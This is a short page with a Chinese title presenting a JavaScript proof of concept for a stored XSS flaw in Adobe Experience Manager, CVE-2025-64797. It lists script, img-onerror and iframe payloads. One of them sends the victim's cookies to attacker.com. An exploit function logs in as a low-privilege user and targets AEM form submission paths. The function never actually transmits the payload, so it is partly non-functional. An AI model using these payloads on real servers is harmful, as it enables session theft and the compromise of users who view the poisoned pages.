CVE-2025-64797 Adobe Experience Manager存储型XSS漏洞

// CVE-2025-64797 Adobe Experience Manager Stored XSS PoC // This PoC demonstrates how to inject malicious JavaScript into form fields // Attacker's payload for stored XSS const xssPayload = { // Method 1: Using script tag scriptTag: '<script>alert("XSS - CVE-2025-64797")</script>', // Method 2: Using img tag with onerror imgTag: '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">', // Method 3: Using iframe iframeTag: '<iframe src="javascript:alert(\'XSS\')">' }; // Simulate sending the malicious payload to the vulnerable form field async function exploitStoredXSS(baseUrl, formFieldId) { // Login as low-privilege user const loginUrl = `${baseUrl}/libs/granite/core/content/login.html`; const loginData = { '_username': 'low_priv_user', '_password': 'password', 'j_username': 'low_priv_user', 'j_password': 'password' }; // Submit the form with XSS payload const formSubmitUrl = `${baseUrl}/content/forms/af/submit`; const formData = { [formFieldId]: xssPayload.scriptTag, './jcr:data': xssPayload.scriptTag }; console.log('[+] Sending XSS payload to vulnerable field...'); console.log('[+] Payload:', xssPayload.scriptTag); // When victim visits the page containing the malicious field, // the JavaScript will be executed in their browser console.log('[+] XSS payload stored successfully'); console.log('[+] Any user viewing the affected page will trigger the payload'); } // Example usage // exploitStoredXSS('https://vulnerable-aem-server.com', 'userName');